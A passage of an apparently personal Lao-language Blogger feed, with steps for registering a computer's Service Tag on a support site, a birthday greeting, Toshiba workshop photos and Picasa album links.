semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="19" semihidden="false" unhidewhenused="false" qformat="true" name="Subtle Emphasis"&gt;   &lt;w:lsdexception locked="false" priority="21" semihidden="false" unhidewhenused="false" qformat="true" name="Intense Emphasis"&gt;   &lt;w:lsdexception locked="false" priority="31" semihidden="false" unhidewhenused="false" qformat="true" name="Subtle Reference"&gt;   &lt;w:lsdexception locked="false" priority="32" semihidden="false" unhidewhenused="false" qformat="true" name="Intense Reference"&gt;   &lt;w:lsdexception locked="false" priority="33" semihidden="false" unhidewhenused="false" qformat="true" name="Book Title"&gt;   &lt;w:lsdexception locked="false" priority="37" name="Bibliography"&gt;   &lt;w:lsdexception locked="false" priority="39" qformat="true" name="TOC Heading"&gt;  &lt;/w:LatentStyles&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 10]&gt; &lt;style&gt;  /* Style Definitions */  table.MsoNormalTable  {mso-style-name:"Table Normal";  mso-tstyle-rowband-size:0;  mso-tstyle-colband-size:0;  mso-style-noshow:yes;  mso-style-priority:99;  mso-style-parent:"";  mso-padding-alt:0in 5.4pt 0in 5.4pt;  mso-para-margin:0in;  mso-para-margin-bottom:.0001pt;  mso-pagination:widow-orphan;  font-size:10.0pt;  font-family:"Calibri","sans-serif";  mso-bidi-font-family:"Cordia New";} &lt;/style&gt; &lt;![endif]--&gt;  &lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;strong&gt;&lt;span style="font-size: 13.5pt; line-height: 115%; font-family: &amp;quot;Saysettha OT&amp;quot;,&amp;quot;sans-serif&amp;quot;;" lang="LAO"&gt;2.ເມື່ອ​ເຂົ້າໄປ​ແລ້ວ ໃຫ້​ເລືອກ​ທີ່​ປະເທດ​ໄທ​ນະ​ຄະ​ຮັບ&lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span style="font-size: 13.5pt; line-height: 115%; font-family: &amp;quot;Saysettha OT&amp;quot;,&amp;quot;sans-serif&amp;quot;;" lang="TH"&gt;&lt;br /&gt;3. &lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span style="font-size: 13.5pt; line-height: 115%; font-family: &amp;quot;Saysettha OT&amp;quot;,&amp;quot;sans-serif&amp;quot;;" lang="LAO"&gt;ເມື່ອ​ເລືອກ​ທີ່​ປະເທດ​ສຳເລັດ​ແລ້ວ​ຈະ​ຂຶ້ນ​ຂໍ້ຄວາມ​ກ່ຽວກັບ ຂໍ້​ສັນຍາ​ຕ່າງ (&lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span style="font-size: 13.5pt; line-height: 115%; font-family: &amp;quot;Saysettha OT&amp;quot;,&amp;quot;sans-serif&amp;quot;;"&gt;Retail Purchaser End user Agreement)   &lt;span lang="TH"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span style="font-size: 13.5pt; line-height: 115%; font-family: &amp;quot;Saysettha OT&amp;quot;,&amp;quot;sans-serif&amp;quot;;" lang="LAO"&gt;ເມື່ອ​ອ່ານ​ຂໍ້​ສັນຍາ​ຕ່າງ​ຮຽບຮ້ອຍ​ແລ້ວ ໃຫ້​ເລືອກ&lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span style="font-size: 13.5pt; line-height: 115%; font-family: &amp;quot;Saysettha OT&amp;quot;,&amp;quot;sans-serif&amp;quot;;"&gt;  &lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span style="font-size: 13.5pt; line-height: 115%; font-family: &amp;quot;Saysettha OT&amp;quot;,&amp;quot;sans-serif&amp;quot;;" lang="LAO"&gt;ຄຳ​ວ່າ &lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span style="font-size: 13.5pt; line-height: 115%; font-family: &amp;quot;Saysettha OT&amp;quot;,&amp;quot;sans-serif&amp;quot;;"&gt;Agree&lt;span lang="TH"&gt;&lt;br /&gt;4. &lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span style="font-size: 13.5pt; line-height: 115%; font-family: &amp;quot;Saysettha OT&amp;quot;,&amp;quot;sans-serif&amp;quot;;" lang="LAO"&gt;ຈະ​ຂຶ້ນ​ໜ້າ​ຕ່າງ​ໃຫ້​ກໍ​ກາຍ​ລະອຽດ ຕ່າງ&lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span style="font-size: 13.5pt; line-height: 115%; font-family: &amp;quot;Saysettha OT&amp;quot;,&amp;quot;sans-serif&amp;quot;;"&gt; &lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span style="font-size: 13.5pt; line-height: 115%; font-family: &amp;quot;Saysettha OT&amp;quot;,&amp;quot;sans-serif&amp;quot;;" lang="LAO"&gt;ໆ​ຂອງ​ທາງ​ລູກ​ຄ້າ ໃຫ້​ກໍ່ການ​ລົງ​ຂໍ້​ມູນ​ໃຫ້​ຄົບ​ທຸກ​ຂໍ້&lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span style="font-size: 13.5pt; line-height: 115%; font-family: &amp;quot;Saysettha OT&amp;quot;,&amp;quot;sans-serif&amp;quot;;" lang="TH"&gt;&lt;br /&gt;5. &lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span style="font-size: 13.5pt; line-height: 115%; font-family: &amp;quot;Saysettha OT&amp;quot;,&amp;quot;sans-serif&amp;quot;;" lang="LAO"&gt;ລົງ​ໝາຍ​ເລກ &lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span style="font-size: 13.5pt; line-height: 115%; font-family: &amp;quot;Saysettha OT&amp;quot;,&amp;quot;sans-serif&amp;quot;;"&gt;Service Tag. (Service Tag. &lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span style="font-size: 13.5pt; line-height: 115%; font-family: &amp;quot;Saysettha OT&amp;quot;,&amp;quot;sans-serif&amp;quot;;" lang="LAO"&gt;ສຳລັບ​ເຄື່ອງ​ໂນ໊​ຕະ​ບຸ໊​ຄ ສາມາດ​ເບິ່ງ​ໄດ້​ຈາກ​ດ້ານ​ລຸມ​ຂອງ​ເຄື່ອງ&lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span style="font-size: 13.5pt; line-height: 115%; font-family: &amp;quot;Saysettha OT&amp;quot;,&amp;quot;sans-serif&amp;quot;;"&gt;  &lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span style="font-size: 13.5pt; line-height: 115%; font-family: &amp;quot;Saysettha OT&amp;quot;,&amp;quot;sans-serif&amp;quot;;" lang="LAO"&gt;ເຄື່ອງ &lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span style="font-size: 13.5pt; line-height: 115%; font-family: &amp;quot;Saysettha OT&amp;quot;,&amp;quot;sans-serif&amp;quot;;"&gt;PC &lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span style="font-size: 13.5pt; line-height: 115%; font-family: &amp;quot;Saysettha OT&amp;quot;,&amp;quot;sans-serif&amp;quot;;" lang="LAO"&gt;ສາມາດ​ເບິ່ງ​ໄດ້​ຈາກ​ດ້ານ​ຫລັງ​ຂອງ&lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span style="font-size: 13.5pt; line-height: 115%; font-family: &amp;quot;Saysettha OT&amp;quot;,&amp;quot;sans-serif&amp;quot;;"&gt;CPU)&lt;span lang="TH"&gt;&lt;br /&gt;6. &lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span style="font-size: 13.5pt; line-height: 115%; font-family: &amp;quot;Saysettha OT&amp;quot;,&amp;quot;sans-serif&amp;quot;;" lang="LAO"&gt;ເມື່ອ​ກໍ່ການ​ລົງ​ຂໍ້​ມູນ​ຄົບ​ຮຽບຮ້ອຍ ໃຫ້​ກົດ​ຄຳ​ວ່າ &lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span style="font-size: 13.5pt; line-height: 115%; font-family: &amp;quot;Saysettha OT&amp;quot;,&amp;quot;sans-serif&amp;quot;;"&gt;Submit&lt;/span&gt;&lt;/strong&gt;&lt;span style="font-family: &amp;quot;Saysettha OT&amp;quot;,&amp;quot;sans-serif&amp;quot;;"&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;strong&gt;&lt;span style="font-size: 13.5pt; line-height: 115%; font-family: &amp;quot;Saysettha OT&amp;quot;,&amp;quot;sans-serif&amp;quot;;"&gt;&lt;/span&gt;&lt;/strong&gt;&lt;span style=""&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="font-size: 12pt; font-family: &amp;quot;DokChampa&amp;quot;,&amp;quot;sans-serif&amp;quot;; color: black;" lang="LAO"&gt;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style="font-size: 12pt; font-family: &amp;quot;Tahoma&amp;quot;,&amp;quot;sans-serif&amp;quot;; color: rgb(51, 51, 51);"&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7705119745791690074-2016185611379823185?l=vongvilai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vongvilai.blogspot.com/feeds/2016185611379823185/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7705119745791690074&amp;postID=2016185611379823185&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/2016185611379823185'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/2016185611379823185'/><link rel='alternate' type='text/html' href='http://vongvilai.blogspot.com/2011/02/datpin-support-link.html' title='Datpin support link'/><author><name>MIMI inthasanh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7705119745791690074.post-3942603178541380007</id><published>2010-11-10T01:25:00.000-08:00</published><updated>2010-11-10T01:55:31.355-08:00</updated><title type='text'></title><content type='html'>Happy birth day MIMI 4 years old&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7705119745791690074-3942603178541380007?l=vongvilai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vongvilai.blogspot.com/feeds/3942603178541380007/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7705119745791690074&amp;postID=3942603178541380007&amp;isPopup=true' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/3942603178541380007'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/3942603178541380007'/><link rel='alternate' type='text/html' href='http://vongvilai.blogspot.com/2010/11/happy-birth-day-mimi-4-years-old.html' title=''/><author><name>MIMI inthasanh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7705119745791690074.post-598894641363104960</id><published>2010-10-21T20:00:00.000-07:00</published><updated>2010-10-25T00:07:17.036-07:00</updated><title type='text'>Toshiba workshop T-tech2010</title><content type='html'>&lt;div align="center"&gt;&lt;a href="http://1.bp.blogspot.com/_CBcs4tyLyx4/TMECTZJ0cZI/AAAAAAAAJW8/KWW2oe6fmdE/s1600/TMCP+Workshop%26+T-Tech+2010+544.jpg"&gt;&lt;img style="TEXT-ALIGN: center; MARGIN: 0px auto 10px; WIDTH: 400px; DISPLAY: block; HEIGHT: 266px; CURSOR: hand" id="BLOGGER_PHOTO_ID_5530704349580521874" border="0" alt="" src="http://1.bp.blogspot.com/_CBcs4tyLyx4/TMECTZJ0cZI/AAAAAAAAJW8/KWW2oe6fmdE/s400/TMCP+Workshop%26+T-Tech+2010+544.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/_CBcs4tyLyx4/TMECTNTAioI/AAAAAAAAJW0/7uZvqlbEUPM/s1600/TMCP+Workshop%26+T-Tech+2010+551.jpg"&gt;&lt;img style="TEXT-ALIGN: center; MARGIN: 0px auto 10px; WIDTH: 400px; DISPLAY: block; HEIGHT: 266px; CURSOR: hand" id="BLOGGER_PHOTO_ID_5530704346397837954" border="0" alt="" src="http://4.bp.blogspot.com/_CBcs4tyLyx4/TMECTNTAioI/AAAAAAAAJW0/7uZvqlbEUPM/s400/TMCP+Workshop%26+T-Tech+2010+551.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;a href="http://1.bp.blogspot.com/_CBcs4tyLyx4/TMECS6PyVyI/AAAAAAAAJWs/g4QYGFmQoDM/s1600/TMCP+Workshop%26+T-Tech+2010+578.jpg"&gt;&lt;img style="TEXT-ALIGN: center; MARGIN: 0px auto 10px; WIDTH: 400px; DISPLAY: block; HEIGHT: 266px; CURSOR: hand" id="BLOGGER_PHOTO_ID_5530704341284050722" border="0" alt="" src="http://1.bp.blogspot.com/_CBcs4tyLyx4/TMECS6PyVyI/AAAAAAAAJWs/g4QYGFmQoDM/s400/TMCP+Workshop%26+T-Tech+2010+578.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;a href="http://2.bp.blogspot.com/_CBcs4tyLyx4/TMECSnSEn9I/AAAAAAAAJWk/mFTyklG7gLg/s1600/TMCP+Workshop%26+T-Tech+2010+541.jpg"&gt;&lt;img style="TEXT-ALIGN: center; MARGIN: 0px auto 10px; WIDTH: 400px; DISPLAY: block; HEIGHT: 266px; CURSOR: hand" id="BLOGGER_PHOTO_ID_5530704336193363922" border="0" alt="" src="http://2.bp.blogspot.com/_CBcs4tyLyx4/TMECSnSEn9I/AAAAAAAAJWk/mFTyklG7gLg/s400/TMCP+Workshop%26+T-Tech+2010+541.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;a href="http://1.bp.blogspot.com/_CBcs4tyLyx4/TMECSQtk7MI/AAAAAAAAJWc/742HviD2_uA/s1600/TMCP+Workshop%26+T-Tech+2010+014.jpg"&gt;&lt;img style="TEXT-ALIGN: center; MARGIN: 0px auto 10px; WIDTH: 400px; DISPLAY: block; HEIGHT: 266px; CURSOR: hand" id="BLOGGER_PHOTO_ID_5530704330134711490" border="0" alt="" src="http://1.bp.blogspot.com/_CBcs4tyLyx4/TMECSQtk7MI/AAAAAAAAJWc/742HviD2_uA/s400/TMCP+Workshop%26+T-Tech+2010+014.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="left"&gt;&lt;a href="http://4.bp.blogspot.com/_CBcs4tyLyx4/TMEBBU07wjI/AAAAAAAAJWU/WO5lXqA-Q18/s1600/TMCP+Workshop%26+T-Tech+2010+045.jpg"&gt;&lt;img style="MARGIN: 0px 10px 10px 0px; WIDTH: 400px; FLOAT: left; HEIGHT: 266px; CURSOR: hand" id="BLOGGER_PHOTO_ID_5530702939669905970" border="0" alt="" src="http://4.bp.blogspot.com/_CBcs4tyLyx4/TMEBBU07wjI/AAAAAAAAJWU/WO5lXqA-Q18/s400/TMCP+Workshop%26+T-Tech+2010+045.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a href="http://4.bp.blogspot.com/_CBcs4tyLyx4/TMEAUEZg7FI/AAAAAAAAJWM/2AxCfx6xU6Q/s1600/DSC09329.JPG"&gt;&lt;img style="MARGIN: 0px 10px 10px 0px; WIDTH: 400px; FLOAT: left; HEIGHT: 267px; CURSOR: hand" id="BLOGGER_PHOTO_ID_5530702162165820498" border="0" alt="" src="http://4.bp.blogspot.com/_CBcs4tyLyx4/TMEAUEZg7FI/AAAAAAAAJWM/2AxCfx6xU6Q/s400/DSC09329.JPG" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a href="http://3.bp.blogspot.com/_CBcs4tyLyx4/TMD_Sb5XD0I/AAAAAAAAJWE/YUhZXvBZ8ck/s1600/TMCP+Workshop%26+T-Tech+2010+596.jpg"&gt;&lt;img style="MARGIN: 0px 10px 10px 0px; WIDTH: 400px; FLOAT: left; HEIGHT: 266px; CURSOR: hand" id="BLOGGER_PHOTO_ID_5530701034602041154" border="0" alt="" src="http://3.bp.blogspot.com/_CBcs4tyLyx4/TMD_Sb5XD0I/AAAAAAAAJWE/YUhZXvBZ8ck/s400/TMCP+Workshop%26+T-Tech+2010+596.jpg" /&gt;&lt;/a&gt; &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt; &lt;/div&gt;&lt;div&gt; &lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7705119745791690074-598894641363104960?l=vongvilai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vongvilai.blogspot.com/feeds/598894641363104960/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7705119745791690074&amp;postID=598894641363104960&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/598894641363104960'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/598894641363104960'/><link rel='alternate' type='text/html' href='http://vongvilai.blogspot.com/2010/10/toshiba-workshop-t-tech2010.html' title='Toshiba workshop T-tech2010'/><author><name>MIMI inthasanh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_CBcs4tyLyx4/TMECTZJ0cZI/AAAAAAAAJW8/KWW2oe6fmdE/s72-c/TMCP+Workshop%26+T-Tech+2010+544.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7705119745791690074.post-8114170393718476671</id><published>2010-08-30T19:54:00.000-07:00</published><updated>2010-08-30T21:11:03.488-07:00</updated><title type='text'></title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_CBcs4tyLyx4/THxvViJxvvI/AAAAAAAAJVM/BklreQ-MpcE/s1600/DSC00319.JPG"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 400px; height: 300px;" src="http://2.bp.blogspot.com/_CBcs4tyLyx4/THxvViJxvvI/AAAAAAAAJVM/BklreQ-MpcE/s400/DSC00319.JPG" border="0" alt="" id="BLOGGER_PHOTO_ID_5511402459730394866" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7705119745791690074-8114170393718476671?l=vongvilai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vongvilai.blogspot.com/feeds/8114170393718476671/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7705119745791690074&amp;postID=8114170393718476671&amp;isPopup=true' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/8114170393718476671'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/8114170393718476671'/><link rel='alternate' type='text/html' href='http://vongvilai.blogspot.com/2010/08/blog-post.html' title=''/><author><name>MIMI inthasanh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_CBcs4tyLyx4/THxvViJxvvI/AAAAAAAAJVM/BklreQ-MpcE/s72-c/DSC00319.JPG' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7705119745791690074.post-2304429652318233221</id><published>2010-08-16T23:52:00.000-07:00</published><updated>2010-08-16T23:55:10.467-07:00</updated><title type='text'>Link picture album</title><content type='html'>&lt;a href="http://picasaweb.google.com/soukphathai/"&gt;http://picasaweb.google.com/soukphathai/&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7705119745791690074-2304429652318233221?l=vongvilai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vongvilai.blogspot.com/feeds/2304429652318233221/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7705119745791690074&amp;postID=2304429652318233221&amp;isPopup=true' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/2304429652318233221'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/2304429652318233221'/><link rel='alternate' type='text/html' href='http://vongvilai.blogspot.com/2010/08/link-picture-album.html' title='Link picture album'/><author><name>MIMI inthasanh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7705119745791690074.post-5810401364955499575</id><published>2008-03-02T05:18:00.001-08:00</published><updated>2008-03-02T05:18:42.147-08:00</updated><title type='text'></title><content type='html'>&lt;table style="WIDTH: 194px"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="BACKGROUND: url(http://picasaweb.google.com/f/img/transparent_album_background.gif) no-repeat left 50%; HEIGHT: 194px" align="middle"&gt;&lt;a href="http://picasaweb.google.com/soukphathai/DatpinSki"&gt;&lt;img style="MARGIN: 1px 0px 0px 4px" height="160" src="http://lh4.google.com/soukphathai/R7OUSqsjWVE/AAAAAAAACco/gKTP0arR_uc/s160-c/DatpinSki.jpg" width="160" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="FONT-SIZE: 11px; FONT-FAMILY: arial,sans-serif; TEXT-ALIGN: center"&gt;&lt;a style="FONT-WEIGHT: bold; COLOR: #4d4d4d; TEXT-DECORATION: none" href="http://picasaweb.google.com/soukphathai/DatpinSki"&gt;Datpin ski&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7705119745791690074-5810401364955499575?l=vongvilai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vongvilai.blogspot.com/feeds/5810401364955499575/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7705119745791690074&amp;postID=5810401364955499575&amp;isPopup=true' title='23 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/5810401364955499575'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/5810401364955499575'/><link rel='alternate' type='text/html' href='http://vongvilai.blogspot.com/2008/03/datpin-ski.html' title=''/><author><name>MIMI inthasanh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>23</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7705119745791690074.post-6289760845793599403</id><published>2008-02-23T19:41:00.000-08:00</published><updated>2008-02-23T19:43:45.932-08:00</updated><title type='text'>My angel</title><content type='html'>&lt;object width="425" height="350"&gt; &lt;param name="movie" value="http://www.youtube.com/v/3cLVYIdFJis"&gt; &lt;/param&gt; &lt;embed src="http://www.youtube.com/v/3cLVYIdFJis" type="application/x-shockwave-flash" width="425" height="350"&gt; &lt;/embed&gt; &lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7705119745791690074-6289760845793599403?l=vongvilai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vongvilai.blogspot.com/feeds/6289760845793599403/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7705119745791690074&amp;postID=6289760845793599403&amp;isPopup=true' title='17 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/6289760845793599403'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/6289760845793599403'/><link rel='alternate' type='text/html' href='http://vongvilai.blogspot.com/2008/02/my-angel.html' title='My angel'/><author><name>MIMI inthasanh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>17</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7705119745791690074.post-8984508101029515803</id><published>2007-10-25T05:32:00.000-07:00</published><updated>2007-10-25T05:32:33.740-07:00</updated><title type='text'>Picasa Web Albums - inthasanh</title><content type='html'>&lt;a href="http://picasaweb.google.com/soukphathai"&gt;Datpin syainryoukou NEW PICTURE&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7705119745791690074-8984508101029515803?l=vongvilai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://picasaweb.google.com/soukphathai' title='Picasa Web Albums - inthasanh'/><link rel='replies' type='application/atom+xml' href='http://vongvilai.blogspot.com/feeds/8984508101029515803/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7705119745791690074&amp;postID=8984508101029515803&amp;isPopup=true' title='223 Comments'/><link rel='edit' type='application/atom+xml' 